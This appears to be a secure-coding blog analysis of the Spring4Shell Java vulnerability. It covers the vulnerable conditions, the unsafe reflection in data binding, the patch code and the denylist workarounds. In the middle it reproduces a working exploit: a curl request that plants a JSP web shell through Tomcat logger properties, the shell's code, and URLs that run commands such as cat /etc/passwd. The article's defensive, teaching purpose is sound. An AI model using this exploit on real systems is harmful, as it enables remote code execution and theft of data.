Spring4Shell reflections
Spring4Shell was a new-old type of code-execution bug exploiting the Spring Java framework. What can we learn from it?
2021 ended with a bang – the Log4Shell vulnerability shook the world, and we can still feel the aftershocks in 2022. It’s little wonder that many developers and security experts got very worried at the end of March 2022 when a security blog called ‘Cyber Kendra’ (as well as some other, now-deleted tweets) leaked the exploitation details of a new code execution bug called Spring4Shell in the Spring Java framework. Since these posts were made before Spring has published the fix (so it was not responsible disclosure), there was a real danger of cybercriminals – now aware of the vulnerability and how to exploit it – abusing it to attack systems on a large scale before users had a chance to update their systems.
For those who are not familiar with it, Spring is one of the most popular Java frameworks. It helps developers create high performing applications using plain old Java objects (POJOs). Because it is so widespread, any exploitable vulnerability in it can affect a lot of applications and systems. Combine this with effectively a zero-day code execution vulnerability, and at first glance Spring4Shell looked like a devastating cyber threat that could cause damage on par with some of the worst vulnerabilities in the past.
After its publication, vulnerability databases recorded Spring4Shell under the ID CVE-2022-22965.
Is Spring4Shell really as bad as Log4Shell?
Spring4Shell followed the naming convention of the famed Log4Shell, suggesting that it was just as critical as that one, leading to RCE in a similar manner. However, it quickly turned out that while RCE was indisputably possible, there was a remarkable difference compared to Log4Shell. While Log4Shell was exploitable even with the default configuration of Log4j – making it a real disaster –, Spring4Shell was only exploitable under special conditions.
Namely, in order to be vulnerable, one would’ve had to run a Spring application on a server with some non-basic parameters, the usage of which are not at all widespread. It was unclear whether applications used these parameter values in production environments at all. Therefore, while some security researchers have demonstrated a proof of concept exploit based on Spring4Shell, exploitation in the wild was limited according to many security vendors (see e.g. Microsoft’s report here).
In short: a vastly overhyped bug, but a story that we still shouldn’t ignore. After all, the vulnerability is still rated as critical on the NVD site and it was also recognized by CISA as a serious issue.
The significance of secure defaults
The Spring4Shell vulnerability impacted applications using Spring MVC and Spring WebFlux running on JDK 9 or higher. One should pack the application as a WAR file and deploy it to Apache Tomcat (but note that the vulnerability is not exploitable on Spring Boot with embedded Tomcat). Spring Boot makes it easy to start developing Spring based web applications by removing a huge amount of boilerplate code.
To summarize the requirements for the exploit to work:
- Spring Framework versions before 5.2.20 or before 5.3.18
- Java Runtime environment (JRE) version 9 or higher
- Apache Tomcat (not Spring Boot’s embedded version)
- spring-webmvc or spring-webflux dependency
- Using Spring parameter binding (but that’s enabled by default!)
- The application is packaged as a web application archive (WAR)
- Malicious HTTP fields are allowed
As all of the above criteria had to be true, it narrowed down the potential exposure remarkably. This was the reason why there were not so many (moreover: yet unpatched) systems where attackers could exploit Spring4Shell.
Why you shouldn’t use ‘denylist’ and ‘reflection’ in the same sentence
The Remote Code Execution (RCE) attack was possible by sending a specially crafted HTTP request to a vulnerable system. Achieving RCE just by sending an HTTP request never looks good, even though all the aforementioned requirements should be true for it to work.
How could an HTTP request lead to RCE? The story starts with an old vulnerability in the Spring Framework (CVE-2010-1622). There was a weakness in the data binding mechanism to use client provided data to update the properties of an object, since it used the java.beans.Introspector class with unvalidated user input. While that vulnerability was very interesting at the time, looking at it in depth would be very time-consuming. There is a good write-up here (as part of a 2010 study on RCE in modern Java frameworks) if you’re interested. Long story short, when an HTTP request contained class.classLoader.URLs[0]=jar: followed by a URL that refers to a remote jar file (prepared by the attacker), the org.apache.catalina.loader.WebappClassLoader class used by the framework was replaced with the arbitrary class contained in the referred JAR file. It turned out that while the – suspected – denylist implemented with the fix for that vulnerability made class.classLoader inaccessible, the new ‘Module’ functionality in Java 9 (see JSR 376) has turned the tables by making class.module.classLoader usable – achieving the same thing as the original exploit.
So, Spring4Shell basically bypassed the patch against this vulnerability. To be vulnerable, one simply needed to have a controller class in Tomcat that handled all HTTP requests to a given path defined with the @RequestMapping annotation on a method in the controller class. Aligned to the above described, if the request contained a parameter name that was a property of the model class, the value of that property would be set to the value of the parameter.
Let’s see an example based on the analysis from the rapid7 blog (we will use their example exploit code throughout this article):
package net.javaguides.springmvc.helloworld.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.InitBinder; import org.springframework.web.bind.annotation.RequestMapping; import net.javaguides.springmvc.helloworld.model.HelloWorld; @Controller public class HelloWorldController { @RequestMapping("/somepath") public void vulnerable(HelloWorld model) { // Set a property of the model } }
So far so good. But how could this lead to execution of arbitrary shell commands?
Spring4Shell is reflecting on some vulnerabilities from 2010
The key Spring4Shell vulnerability was related to the DataBinder class with which one can set the properties of an object. In fact, Spring uses WebDataBinder – a child class of DataBinder – to bind web request parameters to JavaBean objects via reflection; and using reflection on user-provided data is a well-known vulnerability class, called unsafe reflection. Even the documentation of both Databinder and WebDataBinder mention the following warning: “Data binding can lead to security issues by exposing parts of the object graph that are not meant to be accessed or modified by external clients. Therefore, the design and use of data binding should be considered carefully with regard to security.”
And exactly this was the problem here. The aforementioned parameter data binding mechanism is unfortunately not bound only to the model in question. Starting off from the exposed class (the model), one could smartly refer to an arbitrary POJO (Plain Old Java Object) via the ClassLoader in a similar way to what we have seen before in connection to the earlier CVE-2010-1622. And if the referred class had some nice setter methods, one could change their associated properties.
So, by abusing Spring4Shell one could craft a malicious HTTP request that refers to a specific class name and modify its properties. And what to set? For instance, the properties of the Tomcat logger class. Why? Because it writes content to the server – specifically, content controlled by the attacker, moreover to a file that the attacker can specify.
Specifically, in Tomcat8, one can set (among others) the following properties of the logger:
- prefix: the file name of the log file
- suffix: the extension of the log file
- directory: the folder to place the log file to
- fileDateFormat: the format of the timestamp in the log
- pattern: the log entry pattern, basically defining what the logger will log (the content)
- …
And if running a vulnerable version of Spring under Java 9 or above, one could set these properties via the Java ClassLoader as follows:
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
<the full URL to /somepath that happens to have a @Requestmapping>
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<the content of tomcatwar.jsp to be created; for instance, a web shell>
Let’s assume that the endpoint decorated with @Requestmapping on the vulnerable site is at http://somedomain.com/springmvc5-helloworld-example-0.0.1-SNAPSHOT/somepath. Then the following curl command forced the application to create tomcatwar.jsp in webapps/ROOT with the content of a malicious web shell that executed arbitrary command lines:
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20
java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec
(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20
byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20
out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://somedomain.com/springmvc5-helloworld-example-0.0.1-SNAPSHOT/somepath
The web shell encoded in the pattern parameter above is a simple JSP file acting as a server backdoor executing shell commands:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().
exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048];
while((a=in.read(b))3D-1){ out.println(new String(b)); } } –
The thus created web shell became accessible via HTTP at https://somedomain.com/tomcatwar.jsp. It could be accessed directly to invoke arbitrary shell commands via its request parameters. For instance:
https://somedomain.com/tomcatwar.jsp?pwd=j&cmd=ls -al / https://somedomain.com/tomcatwar.jsp?pwd=j&cmd=whoami https://somedomain.com/tomcatwar.jsp?pwd=j&cmd=cat /etc/passwd
Note that the password (a simple “j” in the above example) just ensures that only the attacker who did all these steps can use the backdoor.
As always, the answer is input validation
According to best practices, all input (coming from the attack surface, i.e. potentially controlled by the user) should be validated. In this case the code should have checked the field names received by WebDataBinder against an allowlist and should have rejected anything not on the list.
But it did not.
The fix was simple: input validation! But before the latest fix, there was a simple denylist consisting of the following code:
// in CachedIntrospectionResults() … PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors(); for (PropertyDescriptor pd : pds) { if ( Class.class == beanClass && ( "classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getame()))) { // Ignore Class.getClassLoader() and getProtectionDomain() // methods – nobody needs to bind to those continue; } // …
This only caught the case where the property descriptor’s name was literally classLoader or protectionDomain (this latter check was added in 2013), but not when those strings were deeper in the property. For instance, this check would not catch module.classLoader in Java 9+.
The 5.3.18 and 5.2.20 versions of the Spring Framework came out one day after the exploit was published. We can find the changed code with a more elaborate check in this commit (see this discussion for context).
// in CachedIntrospectionResults() … PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors(); for (PropertyDescriptor pd : pds) { if ( Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name")) ) { // Only allow all name variants of Class properties continue; } if ( pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType() ) || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType())) ) { // Ignore ClassLoader and ProtectionDomain types – // nobody needs to bind to those continue; } // later, in introspectInterfaces() … pd = buildGenericTypeAwarePropertyDescriptor(beanClass, pd); if ( pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType()) || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType())) ) { // Ignore ClassLoader and ProtectionDomain types – // nobody needs to bind to those continue; } // …
This was a hybrid validation: in part it was still a denylist (due to time pressure according to the Github discussion, which is understandable in context), but a much more robust one since it now caught any class that could resolve into ProtectionDomain or ClassLoader. This effectively made the Spring4Shell vulnerability no longer exploitable. It also had an allowlist-style check which only allowed name variants of properties within the Class class itself, further reducing the attack surface.
As a workaround solution for developers who couldn’t update to the fixed versions, Spring recommended developers to do the same on their end: set disallowedFields on WebDataBinder through a @ControllerAdvice by adding “class.*” and “Class.*” in addition to “*.class.*” and “*.Class.*”; but note that this is still a denylist.
Here is an example for such a denylist as recommended in the spring.io blog:
@ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[] {"class.*", "Class.*", "*.class.*", "*.Class.*"}; dataBinder.setDisallowedFields(denylist); } }
Unfortunately setting disallowedFields globally still left a possibility open for the vulnerability to sneak in when the controller sets it locally through its @InitBinder method overriding the global settings. To make the workaround more robust, developers would also need to extend RequestMappingHandlerAdapter to update WebDataBinder after all other initializations.
Downgrading to Java 8 was also an acceptable solution since the exploit depended on getting access to a classloader (the module-level classloaders introduced in Java 9 made this possible).
As mentioned before, the main issue with Spring4Shell was the lack of robust input validation for data coming from the user, combined with unsafe reflection on the data binding level in Spring. Relying on a simple denylist is never enough: in this specific case an API change (such as Java 9 modules) offered new ways for attackers to get around it. One could avoid problems like this by just adhering to the best practices. That is: validate your inputs, always do that with an allowlist, and avoid unsafe reflection wherever possible.
Don’t let your application come in the spotlights for all the bad reasons, make sure the next Spring4Shell does not pop up in your code! Among others, you can discover how to approach and implement proper input validation and how to deal with unsafe reflection on our courses. Learn more about injection, path traversal, reflection, or integer overflows, just to name some of the related issues.